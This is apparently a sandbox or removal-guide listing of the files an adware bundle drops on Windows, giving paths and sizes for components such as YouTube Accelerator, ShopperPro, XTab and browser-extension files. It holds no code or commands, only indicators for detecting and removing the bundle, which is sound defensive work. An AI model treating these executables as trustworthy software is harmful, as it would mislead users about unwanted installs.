C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\NRMK4OLA\eula-mystartsearch[1].htm (1887 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\9D5T6QVE\tokyo_sprite_full[1].png (1300 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\E926.tmp.4 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe (69254 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\N713O6CR\7zip_32[1].png (145 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\7BPA31CQ.txt (678 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\E926.tmp.0 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\SG3BYGQQ.txt (680 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\FU5CECH1\eula-youtubeaccelerator[1].htm (2744 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\E926.tmp.6 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\9S0E6RMT.txt (680 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\E926.tmp.2 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\E926.tmp.3 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\9D5T6QVE\tokyoLightGrayStripesBG[1].jpg (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\E926.tmp.1 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\M9VEIXT4.txt (674 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\E926.tmp.7 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\NRMK4OLA\a023ae3ee3ddb84f912034f3917e580f[1].htm (50276 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\E926.tmp.5 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\FU5CECH1\eula[1].htm (1061 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\9HEX66GN.txt (674 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\UB3L6613.txt (538 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\FU5CECH1\eula-sourceapp[1].htm (4341 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\UpdateCheckerSetup.exe.6 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\UpdateCheckerSetup.exe.7 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\N713O6CR\__utm[3].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\UpdateCheckerSetup.exe.5 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\UpdateCheckerSetup.exe.2 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\UpdateCheckerSetup.exe.3 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\UpdateCheckerSetup.exe.0 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\UpdateCheckerSetup.exe.1 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\NRMK4OLA\tokyoLightGrayStripesBG[1].jpg (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\H520H1JR.txt (777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\UpdateCheckerSetup.exe.4 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\F631.tmp (37784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\NRMK4OLA\tokyo_sprite_full[1].png (1300 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\8G9ZL3N1.txt (777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\N713O6CR\df2ee0eca619e745941b88b65e390118[1].htm (49209 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\NMNT6V1L.txt (777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\FU5CECH1\eula-sourceapp[2].htm (4341 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\W4BB3B5M.txt (777 bytes)
C:\ProgramData\WindowsMangerProtect\ProtectWindowsManager.exe (3560 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLBD5F4.tmp (144 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000e.TMP (11493 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH001a.TMP (13284 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\blank.html (75 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000d.TMP (7581 bytes)
C:\Users\"%CurrentUserName%"\Desktop\YouTube Accelerator.lnk (1 bytes)
%Program Files% (x86)\YouTube Accelerator\res\~GLH0014.TMP (75 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VADEU.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0006.TMP (116073 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\updater.exe (14310 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0019.TMP (11019 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAENG.LNG (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAuninstall.mht (9 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0011.TMP (34 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH001f.TMP (2461 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAIDN.LNG (17 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPOL.LNG (1166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAROM.LNG (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\sporder.Dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0001.TMP (2104 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\testlsp.exe (19739 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLJD681.tmp (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHelperSetup.exe (24473 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0004.TMP (16 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0009.TMP (2104 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\xmldb.dll (3048 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0016.TMP (6741 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0003.TMP (119 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0010.TMP (610 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\OK.gif (329 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0008.TMP (2784 bytes)
%Program Files% (x86)\YouTube Accelerator\cabex.dll (98 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000c.TMP (941 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VATRK.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAITA.LNG (1660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPTB.LNG (401 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0002.TMP (2104 bytes)
%Program Files% (x86)\YouTube Accelerator\temp.000 (51331 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLKD885.tmp (1604 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLFDEA1.tmp (12 bytes)
%Program Files% (x86)\YouTube Accelerator\YouTubeAcceleratorService.exe (49 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VASRB.LNG (1184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst2.exe (30222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPOL.LNG (1166 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VASRB.LNG (1184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAESM.LNG (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytalsp.dll (3271 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFRA.LNG (402 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAccelerator.exe (35420 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFRA.LNG (402 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ipc.dll (6691 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000f.TMP (329 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VANLD.LNG (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0007.TMP (1568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFIL.LNG (351 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst.exe (20746 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\comtest.gif (1817 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\engine.dll (34861 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Res.dll (7687 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000a.TMP (18940 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHUninstall.exe (5623 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAcceleratorService.exe (20848 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAITA.LNG (1660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAJPN.LNG (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0005.TMP (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LangPackU.cab (45 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VADEU.LNG (18 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0012.TMP (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\helper.dll (4155 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page2.mht (1961 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAESM.LNG (873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAIDN.LNG (17 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLGDE90.tmp (93191 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH0015.TMP (4061 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0000.TMP (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\AniGIF.ocx (3175 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page1.mht (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Cancel.gif (610 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAJPN.LNG (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VANLD.LNG (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\unelevate.exe (2082 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\cabex.dll (98 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\YouTube Accelerator.lnk (1 bytes)
%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe (146 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VATRK.LNG (18 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFAR.LNG (15 bytes)
C:\Windows\SysWOW64\temp.000 (3624 bytes)
%Program Files% (x86)\YouTube Accelerator\~GLH000b.TMP (11493 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\~GLH0021.TMP (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAROM.LNG (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFIL.LNG (351 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLCD661.tmp (3791 bytes)
%Program Files% (x86)\YouTube Accelerator\INSTALL.LOG (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAENG.LNG (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFAR.LNG (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPTB.LNG (401 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\progbar.gif (238 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0020.TMP (1568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLMDA89.tmp (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytauninstall.exe (12513 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\ffsearch_toolbar!1.0.0.1027.xpi (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\conf (83 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\1.zip (24288 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\images\code\code2.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\MessageBox.xml (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\images\code\code4.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\BaofengUpdate.exe (2461 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\9D5T6QVE\1[1].zip (183114 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\images\button1.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\UninstallManager.exe (60186 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\images\scrollbar.bmp (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\2.zip (12998 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\images\bg1.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\images\close.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\images\code\code6.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\lpd#4.3.0.xpi (6360 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\DataBase (26688 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\422.json (520 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\images\bg.png (5064 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\images\unchecked.png (135 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\images\Thumbs.db (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\images\loading_light.png (139 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\images\code\code1.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\images\loading_bg.png (159 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\images\code\code5.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\images\checkbox.png (545 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\images\checkbox_select.png (783 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\images\code\Thumbs.db (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\images\code\code3.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\images\checked.png (222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\uninstallDlg2.xml (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\FU5CECH1\2[1].zip (45827 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\images\button.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\images\bk_shadow.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\images\min.png (1 bytes)
%Program Files%\Common Files\ShopperPro\spbii64.exe (17848 bytes)
%Program Files%\Common Files\ShopperPro\spbia.exe (11344 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro.exe (33633 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsaE532.tmp\nsExec.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsaE532.tmp\AccDownload.dll (11359 bytes)
%Program Files%\Common Files\ShopperPro\spbiw.sys (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsaE531.tmp (344291 bytes)
%Program Files%\Common Files\ShopperPro\spbii32.exe (13368 bytes)
%Program Files% (x86)\ShopperPro\Updater.exe (25112 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsaE532.tmp\MoreInfo.dll (15 bytes)
%Program Files%\Common Files\ShopperPro\spbiu.exe (69777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsaE532.tmp\jsdrv.exe (100669 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsaE532.tmp\nsProcess.dll (12 bytes)
%Program Files% (x86)\ShopperPro\FireFox\chrome.manifest (113 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\overlay.xul (203 bytes)
%Program Files%\Common Files\ShopperPro\spbici32.dll (35507 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsaE532.tmp\System.dll (23 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.sys (1856 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.exe (100378 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\overlay.js (13 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro.dll (14184 bytes)
%Program Files% (x86)\ShopperPro\FireFox\install.rdf (828 bytes)
%Program Files%\Common Files\ShopperPro\spbici64.dll (45051 bytes)
%Program Files% (x86)\ShopperPro\database1_0_0.json (5 bytes)
%Program Files% (x86)\ShopperPro\SPRemove.exe (20416 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro64.dll (16944 bytes)
%Program Files% (x86)\ShopperPro\manifest.json (595 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\shopperpro_128.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\FU5CECH1\SMALLTEST[1].htm (70 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\tmp\XTab_v4.0.exe (24329 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\N713O6CR\XTab_4.0.2.1716[1].exe (205180 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\WER\ReportArchive\AppCrash_biclient.exe_97ca2157dc4a9efbd1a44fda2aa67c3f797d_069d94ee\Report.wer (239510 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\WER\ReportArchive\AppCrash_biclient.exe_97ca2157dc4a9efbd1a44fda2aa67c3f797d_0beb316b\Report.wer (245956 bytes)
C:\ProgramData\ShopperPro\config.json (490 bytes)
C:\ProgramData\ShopperPro\ShopperPro.dll (2321 bytes)
%Program Files% (x86)\ShopperPro\config.json (1260 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\config.json (490 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\database1_0_0.json (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\install.rdf (828 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1508.0.0.0\database1_0_0.json (5 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1508.0.0.0\jsdrv.exe (22786 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1508.0.0.0\jsdrv.sys (52 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.xul (203 bytes)
C:\ProgramData\ShopperPro\database1_0_0.json (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\chrome.manifest (113 bytes)
C:\ProgramData\ShopperPro\ShopperPro64.dll (3073 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1508.0.0.0\config.json (770 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\shopperpro_128.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsaDE30.tmp\setup1.exe (142646 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskDE1F.tmp (151471 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsaDE30.tmp\D1958.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsaDE30.tmp\setup.exe (1581404 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsaDE30.tmp\NK.lky (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe (8409 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseCDE9.tmp (7262 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\config.ini (79 bytes)
%Program Files% (x86)\XTab\conf (1498 bytes)
%Program Files% (x86)\XTab\BrowerWatchFF.dll (24 bytes)
%Program Files% (x86)\XTab\BrowerWatchCH.dll (24 bytes)
%Program Files% (x86)\XTab\IeWatchDog.dll (24 bytes)
%Program Files% (x86)\XTab\BrowserAction.dll (49 bytes)
%Program Files% (x86)\YouTube Accelerator\instlsp.log (253 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\YTAHelper_64.png (4 bytes)
%Program Files% (x86)\YTAHelper\FireFox\chrome.manifest (111 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp7AF.tmp\AccDownload.dll (11671 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper.exe (32824 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp7AF.tmp\jsdrv.exe (100669 bytes)
%Program Files% (x86)\YTAHelper\FireFox\install.rdf (884 bytes)
%Program Files% (x86)\YTAHelper\JSDriver\jsdrv.sys (1856 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp7AF.tmp\nsExec.dll (14 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\overlay.js (13 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\overlay.xul (203 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp7AF.tmp\nsProcess.dll (12 bytes)
C:\Users\Public\Documents\YTAHelper\JsDriver\Config.xml (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp7AF.tmp\System.dll (23 bytes)
%Program Files% (x86)\YTAHelper\yta_database1_0_0.json (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsa79F.tmp (116682 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp7AF.tmp\MoreInfo.dll (15 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper.dll (15168 bytes)
%Program Files% (x86)\YTAHelper\JSDriver\jsdrv.exe (100378 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper64.dll (17848 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\shopperpro_128.png (5 bytes)
C:\Windows\SysWOW64\AniGIF.ocx (172 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_20162\ins_postInst.exe (3959 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Install_1277\DCytaiesmt_smtyc_setup.exe (7726 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_20162\ins_yta.exe (29515 bytes)
C:\ProgramData\ShopperPro\spbihe.js (435 bytes)
%Program Files% (x86)\XTab\web\js\xagainit-ie8.js (3 bytes)
%Program Files% (x86)\XTab\web\img\googlelogo.png (7 bytes)
%Program Files% (x86)\XTab\web\js\jquery-1.11.0.min.js (4726 bytes)
%Program Files% (x86)\XTab\skin\btn.png (2 bytes)
%Program Files% (x86)\XTab\install.data (68 bytes)
%Program Files% (x86)\XTab\web\_locales\zh-CN\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\_locales\en-US\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\img\loading.gif (5 bytes)
%Program Files% (x86)\XTab\web\_locales\es-419\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\indexIE8.html (1816 bytes)
%Program Files% (x86)\XTab\web\js\library.js (4216 bytes)
%Program Files% (x86)\XTab\web\_locales\pt\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\img\arrow.png (259 bytes)
%Program Files% (x86)\XTab\web\ver.txt (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsq1101.tmp\System.dll (23 bytes)
%Program Files% (x86)\XTab\skin\input_bk.png (2 bytes)
%Program Files% (x86)\XTab\web\_locales\pl\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\_locales\it-IT\messages.json (4 bytes)
%Program Files% (x86)\XTab\skin\conf_back.png (1623 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-CA\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\img\weather\0.png (1 bytes)
%Program Files% (x86)\XTab\skin\btn_apply.png (6 bytes)
%Program Files% (x86)\XTab\skin\conf.xml (8 bytes)
%Program Files% (x86)\XTab\web\indexIE.html (1 bytes)
%Program Files% (x86)\XTab\web\_locales\ru-MO\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-BE\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\about_bk.png (1436 bytes)
%Program Files% (x86)\XTab\web\_locales\es-ES\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\main.xml (4 bytes)
%Program Files% (x86)\XTab\web\img\default_add_logo_hover.png (1 bytes)
%Program Files% (x86)\XTab\skin\radio_2.png (3 bytes)
%Program Files% (x86)\XTab\msvcr110.dll (22156 bytes)
%Program Files% (x86)\XTab\searchProvider.xml (8 bytes)
%Program Files% (x86)\XTab\web\_locales\it-CH\messages.json (3 bytes)
